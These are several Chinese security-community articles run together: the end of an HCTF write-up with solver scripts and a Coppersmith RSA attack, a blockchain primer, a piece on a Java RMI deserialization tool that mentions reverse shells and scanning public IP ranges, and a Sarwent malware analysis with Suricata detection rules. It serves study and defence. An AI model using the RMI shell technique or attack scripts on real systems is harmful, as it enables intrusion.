113, 1, 1287, 99, 8, 6, 163, 1525, 6,
49, 952, 101, 512, 40, 87, 1, 165, 9
};
int main()
{
unsigned int v2, v3, v5, v6, i, j, k, l, m, n, ii;
//first
v5 = mem[40];
for (ii = 0; ii < 4; ++ii)
{
mem[8 * ii + 40] = mem[8 * ii + 40 - 1];
for (i = 0; i < 2 * ii + 1; ++i)
mem[3 - ii + 9 * (ii + 4 - i)] = mem[3 - ii + 9 * (ii + 4 - (i + 1))];
for (j = 0; j < 2 * ii + 2; ++j)
mem[j + 9 * (3 - ii) + 3 - ii] = mem[10 * (3 - ii) + j + 1];
for (k = 0; k < 2 * ii + 2; ++k)
mem[9 * (k + 3 - ii) + ii + 5] = mem[9 * (3 - ii + k + 1) + ii + 5];
for (l = 0; l < 2 * ii + 2; ++l)
mem[9 * (ii + 5) + ii + 5 - l] = mem[9 * (ii + 5) + ii + 5 - (l + 1)];
}
mem[72] = v5;
//174
v5 = mem[80];
v6 = mem[8];
for (i = 8; i; --i)
mem[10 * i] = mem[9 * (i - 1) + i - 1];
mem[0] = v5;
for (j = 1; j < 9; ++j)
mem[8 * j] = mem[8 * j + 8];
mem[8 * j] = v6;
//176
v2 = mem[76];
v3 = mem[36];
for (k = 8; k; --k)
mem[9 * k + 4] = mem[9 * (k - 1) + 4];
mem[4] = v2;
for (l = 0; l < 8; ++l)
mem[l + 36] = mem[l + 37];
mem[44] = v3;
for (i = 0; i < 9; i++)
{
printf("[");
for (j = 0; j < 9 - 1; j++)
{
printf("%d, ", mem[i * 9 + j]);
}
printf("%d],\n", mem[i * 9 + 8]);
}
return 0;
}
z3一把梭
from z3 import *
a = [
(7, 0xE7), (7, 0xE4), (1, 0x19), (3, 0x50),
(7, 0xE4), (1, 0x20), (6, 0xB7), (7, 0xE4),
(1, 0x22), (0, 0x28), (0, 0x2A), (2, 0x54),
(7, 0xE4), (1, 0x1F), (2, 0x50), (5, 0xF2),
(4, 0xCC), (7, 0xE4), (0, 0x28), (6, 0xB3),
(5, 0xF8), (7, 0xE4), (0, 0x28), (6, 0xB2),
(7, 0xE4), (4, 0xC0), (0, 0x2F), (5, 0xF8),
(7, 0xE4), (4, 0xC0), (0, 0x28), (5, 0xF0),
(7, 0xE3), (0, 0x2B), (4, 0xC4), (5, 0xF6),
(3, 0x4C), (4, 0xC0), (7, 0xE4), (5, 0xF6),
(6, 0xB3), (1, 0x19), (7, 0xE3), (5, 0xF7),
(1, 0x1F), (7, 0xE4)
]
part1 = ""
for x, y in a:
if(x == 0): y -= 34
elif(x == 1): y -= 19
elif(x == 2): y -= 70
elif(x == 3): y -= 66
elif(x == 4): y ^= 0xCA
elif(x == 5): y ^= 0xFE
elif(x == 6): y ^= 0xBE
elif(x == 7): y ^= 0xEF
z = (y << 3) | x
part1 += chr(z)
print(part1)
mp = [
[(0, 0), (0, 1), (0, 2), (0, 3), (1, 2), (1, 3), (1, 4), (2, 3), (2, 4)],
[(0, 4), (0, 5), (0, 6), (0, 7), (0, 8), (1, 5), (1, 7), (2, 7), (3, 7)],
[(1, 0), (2, 0), (3, 0), (3, 1), (4, 0), (5, 0), (5, 1), (5, 2), (6, 0)],
[(1, 1), (2, 1), (2, 2), (3, 2), (3, 3), (3, 4), (3, 5), (4, 1), (4, 2)],
[(1, 6), (2, 5), (2, 6), (3, 6), (4, 3), (4, 4), (4, 5), (4, 6), (5, 4)],
[(1, 8), (2, 8), (3, 8), (4, 8), (5, 8), (6, 7), (6, 8), (7, 8), (8, 8)],
[(4, 7), (5, 5), (5, 6), (5, 7), (6, 5), (6, 6), (7, 6), (7, 7), (8, 7)],
[(5, 3), (6, 2), (6, 3), (6, 4), (7, 2), (7, 4), (7, 5), (8, 5), (8, 6)],
[(6, 1), (7, 0), (7, 1), (7, 3), (8, 0), (8, 1), (8, 2), (8, 3), (8, 4)]
]
v = [
[165, 89, 35, 9, 512, 3, 1, 6, 87],
[7, 206, 125, 86, 5, 40, 4, 2, 8],
[2, 6, 5, 9, 240, 15, 86, 118, 855],
[77, 77, 75, 83, 1, 225, 87, 7, 127],
[56, 111, 665, 54, 2, 6, 1123, 1129, 211],
[106, 170, 884, 198, 176, 420, 50, 103, 1],
[8, 168, 113, 2, 9, 104, 50, 1525, 6],
[5, 93, 1, 1287, 37, 8, 6, 51, 9],
[89, 49, 952, 101, 99, 40, 87, 1, 163]
]
x = [BitVec("x%d"%(i), 16) for i in xrange(27)]
cs = []
for i in x:
cs.append(And(i >= 0x20, i < 0x7F))
v[1][3] = (v[1][3] ^ (x[23])) & 0xFF
v[0][1] = (v[0][1] - (x[1])) & 0xFF
v[3][2] = (v[3][2] ^ (x[18] + x[17] - x[16])) & 0xFF
v[0][0] = (v[0][0] + (x[0])) & 0xFF
v[1][5] = (v[1][5] ^ (x[4])) & 0xFF
v[2][8] = (v[2][8] ^ (x[19] << 4)) & 0xFF
v[2][7] = (v[2][7] ^ (x[6])) & 0xFF
v[1][2] = (v[1][2] - (x[3])) & 0xFF
v[2][6] = (v[2][6] ^ (x[20])) & 0xFF
v[0][8] = (v[0][8] - (x[25])) & 0xFF
v[1][1] = (v[1][1] + (x[24])) & 0xFF
v[2][5] = (v[2][5] ^ (x[4] + x[5] - x[6])) & 0xFF
v[3][0] = (v[3][0] ^ (x[8] ^ x[6] ^ (x[5] + x[7] - x[9]))) & 0xFF
v[2][4] = (v[2][4] / (x[21])) & 0xFF
v[0][2] = (v[0][2] - (x[26])) & 0xFF
v[2][3] = (v[2][3] ^ (x[21] ^ x[23] ^ (x[24] + x[22] - x[20]))) & 0xFF
v[3][1] = (v[3][1] - (x[18])) & 0xFF
v[0][4] = (v[0][4] / (x[2])) & 0xFF
v[5][3] = (v[5][3] / (x[9])) & 0xFF
v[3][5] = (v[3][5] + (x[9])) & 0xFF
v[4][2] = (v[4][2] / (x[10])) & 0xFF
v[3][8] = (v[3][8] ^ (x[16] + x[15] - x[14])) & 0xFF
v[5][0] = (v[5][0] - (x[13])) & 0xFF
v[4][1] = (v[4][1] ^ (x[13])) & 0xFF
v[5][5] = (v[5][5] / (x[15])) & 0xFF
v[5][7] = (v[5][7] - (x[16])) & 0xFF
v[4][0] = (v[4][0] - (x[14])) & 0xFF
v[4][7] = (v[4][7] ^ (x[11] << 4)) & 0xFF
v[4][6] = (v[4][6] ^ (x[11] << 4)) & 0xFF
v[4][3] = (v[4][3] - (x[12])) & 0xFF
v[3][6] = (v[3][6] ^ (x[16])) & 0xFF
v[5][2] = (v[5][2] ^ (x[14] << 4)) & 0xFF
v[5][4] = (v[5][4] + (x[8])) & 0xFF
v[5][1] = (v[5][1] + (x[10])) & 0xFF
v[4][8] = (v[4][8] + (x[12])) & 0xFF
v[3][3] = (v[3][3] ^ (x[8])) & 0xFF
v[8][0] = (v[8][0] ^ (x[24] ^ x[22] ^ (x[21] + x[23] - x[25]))) & 0xFF
v[7][4] = (v[7][4] - (x[4])) & 0xFF
v[7][1] = (v[7][1] ^ (x[20])) & 0xFF
v[8][3] = (v[8][3] ^ (x[24] + x[25] - x[26])) & 0xFF
v[8][2] = (v[8][2] / (x[3])) & 0xFF
v[6][7] = (v[6][7] ^ (x[5] << 4)) & 0xFF
v[8][8] = (v[8][8] + (x[0])) & 0xFF
v[6][5] = (v[6][5] ^ (x[17] + x[18] - x[19])) & 0xFF
v[8][6] = (v[8][6] ^ (x[1])) & 0xFF
v[8][5] = (v[8][5] - (x[26])) & 0xFF
v[8][1] = (v[8][1] ^ (x[24])) & 0xFF
v[6][2] = (v[6][2] ^ (x[6])) & 0xFF
v[7][3] = (v[7][3] ^ (x[21] << 4)) & 0xFF
v[5][6] = (v[5][6] - (x[7])) & 0xFF
v[6][1] = (v[6][1] + (x[17])) & 0xFF
v[6][6] = (v[6][6] ^ (x[19])) & 0xFF
v[8][4] = (v[8][4] ^ (x[3] + x[2] - x[1])) & 0xFF
v[7][7] = (v[7][7] - (x[22])) & 0xFF
for i in xrange(9):
for j in xrange(9 - 1):
x0, y0 = mp[i][j]
for k in xrange(j + 1, 9):
x1, y1 = mp[i][k]
cs.append(v[x0][y0] != v[x1][y1])
for i in xrange(9):
for j in xrange(9):
cs.append(And(v[i][j] >= 1, v[i][j] <= 9))
s = Solver()
s.add(cs)
assert(s.check() == sat)
m = s.model()
r = map(lambda c:m[c].as_long(), x)
part2 = str(bytearray(r))
print(part2)
print("hctf{%s%s}"%(part1, part2))
### Seven
键盘监控驱动, wsad走迷宫. 程序里比较的是按键的键盘扫描码.
### Luckyduck
TLSCallback+SMC*2
from string import maketrans
def rand(seed):
seed = seed * 0x343FD + 0x269EC3
return seed, (seed >> 16) & 0x7FFF
seed = 0x2DF715E6
secret = bytearray("49E657BD3A47114C95BCEE3272A0F0DEACF2835683496EA9A6C5673CCAC8CC05".decode("hex"))
for i in xrange(len(secret)):
for j in xrange(0, 8, 2):
seed, val = rand(seed)
val %= 4
secret[i] ^= val << (8 - j - 2)
secret = str(secret)
intab = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"
outtab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
trantab = maketrans(intab, outtab)
secret = secret.translate(trantab)
print(secret.decode("base64"))
### PolishDuck
arduino逆向, 把所有`Keyboard.print`提取得到一个表达式, `eval`求值.
base = 0x14EC # VA 0xA76
with open("PolishDuck.bin", "rb") as f:
buf = f.read()
p = base
s = ""
while(p < 0x1A28): # VA 0xD14
i = p + 0x14F8-0x14EC
t = buf[i:i+4].encode("hex")
x = int(t[7] + t[5] + t[3] + t[1] ,16)
y = x - 0x100 + 0x1A50
t = buf[y:y+0x100]
t = t[:t.index("\x00")]
s += t
p += 0x1500 - 0x14EC
print(s)
v = eval(s)
print(hex(v)[2:-1].decode("hex"))
## MISC
### freq game
题目给了将flag编码为频率，然后4个频率为一组合成一个波，并将时域的采样值发回来，所以直接对时域做fft，就可以还原频率。
from pwn import *
import json
import numpy as np
io=remote("150.109.119.46",6775)
token="DN2WQ9iOvvAGyRxDC4KweQ2L9hAlhr6j"
io.recvuntil("hint:")
io.sendline("y")
io.recvuntil("token:")
io.sendline(token)
for i in range(8):
io.recvuntil("[")
arr=io.recvuntil("]")[:-1]
arr=arr.split(",")
arr=map(float,arr)
time_val=np.array(arr)
freq_val=np.fft.fft(time_val)
freq_val=map(abs,freq_val)
freq_val_sorted=[i for i in freq_val]
freq_val_sorted.sort(reverse=1)
response=[]
for j in range(4):
response.append(min(freq_val.index(freq_val_sorted[j*2]),freq_val.index(freq_val_sorted[j*2+1])))
response_data=""
for ele in response:
response_data+=str(ele)
response_data+=" "
print response_data
io.sendline(response_data[:-1])
# io.interactive()
raw_input()
io.interactive()
### eazy dump
python vol.py -f mem.data imageinfo
得知profile是Win7SP1x64
python vol.py -f mem.data --profile=Win7SP1x64 pslist
在内存中看到了三个有趣的进程，wordpad.exe，MineSweeper.exe，mspaint.exe。
把所有进程memdump出来
python vol.py -f mem.data --profile=Win7SP1x64 memdump --dump-dir mem
1804.dmp
312.dmp
2768.dmp
在GIMP使用常用分辨率尝试提取了系统display buffer，最后找到了做dump时候的系统截图，截图中可以看出wordpad里面的内容是I am
so boring。尝试在wordpad的进程搜这个串，发现wordpad里面还有别的内容Do you like my
art???因此猜测应该是mspaint里面有flag。接着通过截图估算画布大小来提取mspaint里面的图，得到flag。
### difficult programming language
简单的搜索可以确定流量里是USB键盘的数据，于是解码得到
D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~
大概是一种叫malboge的奇怪语言，放到模拟器跑一下就可以拿到flag。
## CRYPTO
### xor_game
使用`xortool`爆破，可得爆破出来最有可能是密钥的长度为21，且key像flag。
但解出来的大多明文是错乱的英文单词，然后根据这些单词去猜测正确的单词，进而一个个再去修正相同偏移的key。
### xor?rsa
Coppersmith’s short-pad attack, 网上现成的脚本,
随便改改在`https://sagecell.sagemath.org/`跑, 可能需要多试几次.
def franklinReiter(n,e,r,c1,c2):
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X + r)^e - c2
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
def CoppersmithShortPadAttack(e,n,C1,C2,eps=1/30):
import binascii
P.<x,y> = PolynomialRing(ZZ)
ZmodN = Zmod(n)
g1 = x^e - C1
g2 = (x+y)^e - C2
res = g1.resultant(g2)
P.<y> = PolynomialRing(ZmodN)
rres = 0
for i in range(len(res.coefficients())):
rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))
diff = rres.small_roots(epsilon=eps)
recoveredM1 = franklinReiter(n,e,diff[0],C1,C2)
print(diff)
print(recoveredM1)
print(recoveredM1 + diff[0])
e = 5
n=0
c1=0
c2=0
CoppersmithShortPadAttack(e, Integer(n), Integer(c1), Integer(c2), 1/50)
## BLOCKCHAIN
### ez2win
由于_transfer函数未正确声明导致public可以访问，而且限制较少，可以构造从Token拥有者到自己的一笔交易，每笔限制10000000，加上空投Token刚好大于10000000，调用PayForPlay时需要注意email需要base64。邮箱用的是[email protected]，flag是hctf{0hhhh_m4k3_5ur3_y0ur_acc35s_c0n7r01}。 | 社区文章 |
# 聊聊区块链中的几个技术点
##### 译文声明
本文是翻译文章，文章原作者 seebug，文章来源：paper.seebug.org
原文地址：<https://paper.seebug.org/1110/>
译文仅供参考，具体内容表达以及含义原文为准。
作者：0x7F@知道创宇404实验室
### 0x00 前言
随着技术浪潮的涌动，国家政策的推动，区块链又慢慢的进入了我们的视野中。在 2020
年初这个时刻，不妨我们再回头看看区块链的发展，聊聊区块链中的几个技术点，为新的一年打打基础。
2017 年是数据货币大爆发的一年，其标志性事件是 2017 年 12 月比特币价格达到历史最高，并将区块链引入公众的视野中；也因此，2018
年被称之为区块链元年，各类数字货币和与区块链沾边的技术如雨后春笋般出现在互联网上；后来随着区块链的监管力度增大，2019
年则是区块链冷寂的一年，最后经过考验的都是具有价值的区块链项目。
那么本文，我们就抛开数字货币不谈，仅从区块链的方面来聊聊；文中使用比特币 v0.19.x(commit:
0655c7a94cc9bf54d43eceed805e83f1b59e2409)的源码来帮助理解。
## 0x01 区块链的简介
区块链随着比特币的诞生而诞生，首次出现于比特币的白皮书中(<https://bitcoin.org/bitcoin.pdf>)，用于存储比特币的交易记录；在比特币中，根据时序将多条交易记录整理集中存储以形成区块，块与块之间采用哈希值的方式连接形成链式结构，我们将这种结构称为区块链。
比特币中，多个节点通过P2P网络共同维护一条区块链，使得这种链式结构具有去中心化、不可篡改、可追溯等特性。后续的以太坊、超级账本等项目也都基于这种链式结构。
这里我们抛开数字货币，把区块链作为主角来看，我们可以更加容易的来理解区块链：区块链就是一个基于P2P的分布式数据库，以多个节点共同维护一份数据；那么从这个角度来看，比特币的区块链存储的「交易记录」也是数据，只是数据比较特别而已。
## 0x02 区块链vs分布式数据库
我们可以认为区块链就是基于P2P的分布式数据库，是因为区块链和分布式数据库有着相似的目标：使用多个节点来共同维护一份数据。
但我们仅仅以「存储」这一个操作来理解，并且忽略掉了它们本身的应用场景、默认所有节点都是可信、可靠、无延时通信的、等等。实际环境下，我们需要去考虑如上诸多的因素，因此区块链不能等同于分布式存储数据库。
我们使用表格来对比区块链和分布式数据库：
| 区块链 | 分布式数据库
---|---|---
架构 | 分布式 | 分布式
价值主张 | 数字化信任系统 | 高性能存储和访问
网络通信 | peer-to-peer | client-server
管理方式 | 集中管理 | 分散管理
数据结构 | 链式 | 索引、等等
节点关系 | 怀疑 & 制约 | 信任 & 协作
一致性 | 共识算法 | 主从复制
数据持久 | 数据不可变 | 可修改 & 非持久
性能 | 低 | 高
在了解区块链和分布式存储数据库的异同点后，我们可以知道无论是分布式存储数据库还是区块链，都需要去解决分布式中的问题；并且区块链还需要去解决它所特有的问题。所以我们以分布式存储数据库为基础，来帮助我们理解区块链中所涉及到的技术点。
## 0x03 分布式中的挑战
1.FLP不可能原理
对于分布式系统中的不确定性，Fischer、Lynch和Patterson三位科学家在1985年发表论文并提出FLP不可能原理：在网络可靠，但允许节点失效（即便只有一个）的最小化异步模型系统中，不存在一个可以解决一致性问题的确定性算法。
所以理论上不存在一个可以完美解决一致性问题的方法，但在工程应用中，我们可以选择牺牲部分特性，以换取一个可行的方案。
2.CAP原理
那么我们应该如何选择代价，来换取这个可行的方案呢？在 2000 年由 Eric Brewer 教授在 ACM 组织的一个研讨会上提出了 CAP
原理：分布式系统不可能同时确保以下三个特性：一致性(Consistency)、可用性(Availability)和分区容忍性(Partition)，设计中往往需要弱化对某个特性的保证。
根据 CAP
原理，我们就可以根据不同的需求，对三种特性进行抉择。如访问分布式的网站的静态内容，可以接受数据延迟更新，这是弱化了一致性；而在区块链中，即便牺牲性能也要保证只有一份公认的数据，这是弱化了可用性。
3.拜占庭容错
在分布式数据库中，节点之间是相互信任的、是忠诚的，它们可能会离线、宕机，但它们绝不会发送错误的消息；所以我们可以信任任意一个节点，分布式数据库常用「主从复制」实现一致性，也就是：从中选择一个节点作为主节点，其他节点从该节点复制数据，如果该节点出现故障，则重新选择新的主节点。
而在区块链中节点是自由的加入和退出的，可能会出现恶意节点：该节点可能会离线、宕机，并且会发送错误的消息来扰乱数据的一致性；这就是常说的拜占庭将军问题。
这是 20 世纪 80
年代提出的一个假想问题，描述的是：「一组拜占庭将军分别各率领一支军队共同围困一座城市，由于各支军队处于城市不同方向，所以他们只能通过信使进行联系；军队的行动策略限定为进攻或撤离两种，部分军队进攻部分军队撤离都可能会造成灾难性后果，因此各位将军必须通过投票来达成一致策略；每位将军都将自己投票信息通过信使通知其他将军，所以每位将军根据自己的投票和其他所有将军送来的信息就可以知道投票结果而决定行动策略」。
在上图中，由叛军发送错误的投票信息引起不一致的问题，称之为「拜占庭错误」，能够处理拜占庭错误的方法称为「拜占庭容错」(Byzantine Fault
Tolerance)。那么区块链中是如何解决的呢？
## 0x04 共识算法
PBFT算法
PBFT(Practical Byzantine Fault Tolerance) 算法的提出主要就是为了解决拜占庭错误。其算法的核心为三大阶段：pre-prepare阶段(预准备阶段)，prepare阶段(准备阶段)，commit阶段(提交阶段)，我们以下图来理解该算法。
其中 C 表示发起请求客户端，0123 表示服务节点，3 节点出现了故障，用 f 表示故障节点的个数。
1. C 向 0 节点发起请求
2. 0 节点广播该请求到其他服务节点
3. 节点在收到 pre-prepare 消息后，可以选择接受和拒绝该消息，接收该消息则广播 prepare 消息到其他服务节点
4. 当一个节点在 prepare 阶段并收到 2f 个 prepare 消息后，进入到 commit 阶段，广播 commit 消息到其他服务节点
5. 当一个节点在 commit 阶段并收到 2f+1 个 commit 消息后(包括它自己)，发送消息给 C 客户端
6. 当 C 客户端收到 f+1 个 reply 消息后，表示共识已经完成
(详细可以参考<http://pmg.csail.mit.edu/papers/osdi99.pdf>)
PBFT 中节点数必须满足 N >= 3f+1 这个关系，只要节点中的故障节点不超过 1/3 时，就可以完成共识确定一致性。由于 PBFT
算法的特性以及性能问题，所以其常用于小规模联盟链中。
PoW算法
比特币中使用 PoW(Proof of Work)
算法，即为工作量证明算法。其算法的核心为利用复杂的数学计算竞争一次添加区块的机会，结合「不利原则」，并仅认可最长的链为合法的链 这一规则，完成节点共识。
在比特币中，PoW 的工作方式如下：
1. 用户发起交易，由节点广播交易至所有节点
2. 节点收到交易打包并将其放入块中
3. 某一节点计算出了哈希结果，获得添加区块的机会，将 2 中的块添加到区块链尾部，并广播区块至所有节点
4. 节点收到新的区块信息后，验证区块合法性，合法后将其添加到区块链尾部，并进入下一轮的竞争
通过 PoW 算法，比特币可以允许全网有 50% 的节点错误的情况下，依然能够完成共识。
**PoW 算法的实现**
PoW 算法位于区块生成的模块中(挖矿)。我们先看看比特币的启动流程，比特币程序入口位于 bitcoind.cpp
下，通过这样的调用链启动比特币中的各项服务：
main()->AppInit()->AppInitMain()
其中包括 RPC 服务，在比特币中我们需要使用 bitcoin-cli 通过 RPC 服务启动挖坑，最终到
rpc/mining.cpp/generateBlocks() 这个区块生成主逻辑：
其中 pow.cpp/CheckProofOfWork() 函数进行了 PoW 算法的验证，主要是判断在当前 nonce
值的情况下，区块哈希值是否小于难度值：
其他
但由于 PoW 算法性能低下、而且会造成大量的算力浪费，大家纷纷提出新的共识算法，如
PoS(股权权益证明)、DPoS(委托权益人证明机制)，等等；但以比特币占据区块链项目的半壁江山来看，PoW 仍是目前用得最多的共识算法。
## 0x05 存储结构
在了解共识算法后，我们可以保证数据的一致性了，那么这些数据是如何在区块链中存储的呢？
Merkle树
在比特币中，使用 Merkle 树组织和存储一个块内的交易信息，它是一种基于哈希的二叉树(或多叉树)，其结构如下：
1. 叶子节点存储数据
2. 非叶子节点存储其子节点的内容的哈希值
使用 Merkle 树的优势所在：
1. 快速比较大量数据，比较根节点的哈希值即可知道两组数据是否相同
2. 快速定位修改，任何子节点的变动都会传递至根节点，从根节点向下检索即可找到修改的节点。
3. Merkle 树实现 在比特币中，Merkle 树的生成是挖矿步骤中的子步骤，跟入上文中的区块生成流程中的 miner.cpp/IncrementExtraNonce() 函数中，在该函数中调用 consensus/merkle.cpp/BlockMerkleRoot() 函数以构建 Merkle 树：
哈希链
在一个区块中，除了打包成Merkle树的交易信息，还包括块高度、随机数、时间等等信息，其中父块哈希值将各个区块联系起来，形成链式结构，如下：
**哈希链实现**
在比特币中，区块由区块头和 Merkle 交易树组成，区块头数据结构定义在 primitives/block.h，如下：
## 0x06 网络通信
那么在区块链中，各个节点之间是如何传递数据的呢？相对于分布式数据库 server-client 网络结构，采用主从复制的方式同步数据，区块链则是 peer-to-peer 的网络结构，节点在获取数据的同时，还需要提供数据给其他节点。
我们直接来看看比特币中 p2p 协议的实现方式。
**p2p 协议的实现方式**
在比特币中，默认在 8333 端口建立 tcp 监听，启动 p2p 服务。在 bitcoind 启动流程的 init.cpp/AppInitMain()
中，对网络进行了初始化启动：
[init.cpp/AppInitMain()]
1.node.connman->Start()
启动节点入口，网络初始化和建立
[net.cpp/Start()]
2.InitBinds()
建立网络监听
3.AddOneShot()
添加种子节点
4.&TraceThread<>......
启动五个网络处理线程
p2p网络处理流程就由这五个线程进行负责：
其中负责 p2p 协议处理的线程就是 ThreadMessageHandler()
线程，我们主要来看看这一部分的流程；在该线程中尝试对每个节点接收数据，接收到数据就如下的调用流程：
[net_processing.cpp]
ProcessMessages()->ProcessMessage()
在 ProcessMessages() 对协议格式进行判断，比特币中 p2p 协议格式如下：
随后进入到 ProcessMessage() 进行实际的消息处理流程，在该函数中主要逻辑是多个 if-else 语句根据 commmand
进入不同的消息的处理流程，支持的消息有：
每个命令下都有不同报文格式和处理逻辑，比特币通过这样的方式，打通了节点间的通道。
## 0x07 总结
通过本文我们在脱离数字货币的情况下，从分布式数据库的角度，聊了些区块链中的几个技术点，了解到区块链与传统分布式的异同之处，也了解到区块链中的基本概念和原理。
区块链的去中心化、不可篡改性的特性，给我们提供了无限的遐想，但目前还没有公开的、完善的区块链项目出现，我们希望这一天能早点到来。
## References:
1\. 《区块链技术指南》
2\. 《白话区块链》
3\. 《区块链原理、设计与应用》
4\. <https://bitcoin.org/bitcoin.pdf>
5\. <https://101blockchains.com/blockchain-vs-database-the-difference/>
6\. <https://groups.csail.mit.edu/tds/papers/Lynch/jacm85.pdf>
7\. <https://medium.com/ultrain-chain/the-difference-between-blockchain-and-a-distributed-database-556f8361e6b3>
8\. <http://pmg.csail.mit.edu/papers/osdi99.pdf>
9\. <https://github.com/bitcoin/bitcoin>
10\.
<https://zh.wikipedia.org/wiki/%E6%8B%9C%E5%8D%A0%E5%BA%AD%E5%B0%86%E5%86%9B%E9%97%AE%E9%A2%98>
11\. <https://www.zhihu.com/question/264717547> | 社区文章 |
# 【技术分享】Java RMI 反序列化漏洞检测工具的编写
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[小天之天](http://bobao.360.cn/member/contribute?uid=1432256886)
预估稿费：400RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**成因**
反序列化的漏洞已经有一段时间，针对weblogic，jboss的测试代码也已经非常成熟，但是发现针对RMI服务的测试停留在ysoserial阶段，只能通过执行命令来监听反弹linux
shell，近期看了某位大牛写的关于RMI利用的代码，需要通过远程加载jar包来反弹shell，可是如果那台存在漏洞的主机不能出外网就不能反弹shell，通过私聊得知，大牛太忙没时间写。
**介绍**
Java RMI服务是远程方法调用（Remote Method
Invocation）。它是一种机制，能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。
RMI传输过程必然会使用序列化和反序列化，如果RMI服务端端口对外开发，并且服务端使用了像Apache Commons
Collections这类库，那么会导致远程命令执行。
**代码分析**
第一步:在固定的路径下，加载生成某个class文件；
第二步:加载生成的class文件执行命令，从而避免加载远程的jar文件，解决了主机不出外网照样可以反弹shell的问题。
**执行命令的代码**
New
URL（ClaassPath）可以加载远程的jar包，此处加载的是本地的class文件，ErrorBaseExec类的do_exec方法来执行命令，从而需要先本地生成class文件。
**生成本地class的代码**
调用FileOutputStream将byte数组write到本地路径生成ErrorBaseExec.class文件，
**byte数组生成**
先将ErrorBaseExec.java文件，javac下成ErrorBaseExec.class文件，再将class文件解析成byte数组。其中ErrorBaseExec.java为了方便检测漏洞，会throw出包含8888的字符串，只要匹配到8888就说明存在漏洞
**漏洞测试**
漏洞测试代码attackRMI.jar支持cmd传参和不传参，测试结果分别如下:
为了国家网络以及企业的安全，对部分地区的部分IP段的1099和1090端口仅仅进行了漏洞测试和验证，并未进行控制或者窃取数据之类不道德不文明的行为，测试概况如下：
为了方便安全运维人员进行漏洞验证性测试，请不要用来进行非法活动，测试工具如下:
链接: <https://pan.baidu.com/s/1jHPKh50> 密码: 28ye | 社区文章 |
**原文链接：[Sarwent Malware Continues to Evolve With Updated Command
Functions](https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/ "Sarwent Malware Continues to Evolve With Updated Command
Functions")**
**译者：知道创宇404实验室翻译组**
Sarwent很少受到研究人员的关注，但是该后门恶意软件仍在积极开发中，在持续更新命令并专注于RDP的研发。
* Sarwent恶意软件的更新表明，人们对后门功能（例如执行PowerShell命令）的兴趣不断增强；
* 其更新还显示了使用RDP的偏好；
* Sarwent被发现至少使用一个与TrickBot运算符相同的二进制签名器。
## 背景
自2018年以来，Sarwent的使用率在不断提高，但相关的研究报告却很少。
## 相关研究
过去，Sarwent功能一直围绕着如何成为装载程序而展开，下图显示其原始命令：
|download|
|update|
|vnc|
另外它的AV(防病毒)检查功能在持续更新。
防病毒检查
近期包括对C2 URI结构的更新
C2检查更新
最近还增加了许多在恶意软件中通常会看到的命令，而这些命令更多地关注点在后门或与RAT类似的功能。
|cmd|
|powershell|
|rdp|
这些更新都非常有趣，而网络犯罪集团目前试图利用更多的杠杆来赚钱，从最近销售访问系统的服务的激增中看出而RDP仍然是一个焦点。
`cmd`和`powershell`命令只需要进行引爆。
命令行爆炸
利用base64对结果进行编码，并通过匹配的URL路由将结果发送回C2。
Base64编码命令结果
用于发送响应的C2路由：
/gate/cmd_exec
/gate/powershell_exec
rdp命令有些不一样，从代码的执行内容来看，像是用来告诉机器人执行一系列任务：
* 添加新用户
* 列出组和用户
* 在本地防火墙上打孔
添加新用户
列出网络组和用户
允许RDP端口上的防火墙连接
此命令和今后为RDP访问设置的系统有关。
## 相关建议
中端：
`CommadLine="cmd /c ping localhost & regsvr32 /s *"`
**网络：** 新的威胁中已经存在许多网络规则，因此，我决定考虑添加一些当前可能未涵盖的Suricata规则。
**Suricata 规则**
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”Sarwent CMD response Post”; content:”POSt”; http_method; content:”/gate/cmd_exec”; http_uri; classtype:trojan-activity; sid:9000040; rev:1; metadata:author Jason Reaves;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”Sarwent Powershell response Post”; content:”POST”; http_method; content:”/gate/powershell_exec”; http_uri; classtype:trojan-activity; sid:9000041; rev:1; metadata:author Jason Reaves;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”Sarwent RDP exec response”; content:”GET”; http_method; content:”/gate/rdp_exec?command=”; http_uri; content:”&status=”; http_uri; classtype:trojan-activity; sid:9000042; rev:1; metadata:author Jason Reaves;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”Sarwent update exe response”; content:”GET”; http_method; content:”/gate/update_exec?command=”; http_uri; content:”&status=”; http_uri; classtype:trojan-activity; sid:9000043; rev:1; metadata:author Jason Reaves;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:”Sarwent update command”; content:”200″; http_stat_code; content:”fHVwZGF0ZX”; startswith; http_server_body; flow:to_client, established; classtype:trojan-activity; sid:9000044; rev:1; metadata:author Jason Reaves;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:”Sarwent download command”; content:”200″; http_stat_code; content:”fGRvd25sb2Fkf”; startswith; http_server_body; flow:to_client, established; classtype:trojan-activity; sid:9000045; rev:1; metadata:author Jason Reaves;)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:”Sarwent powershell command”; content:”200″; http_stat_code; content:”fHBvd2Vyc2hlbGx8″; startswith; http_server_body; flow:to_client, established; classtype:trojan-activity; sid:9000046; rev:1; metadata:author Jason Reaves;)
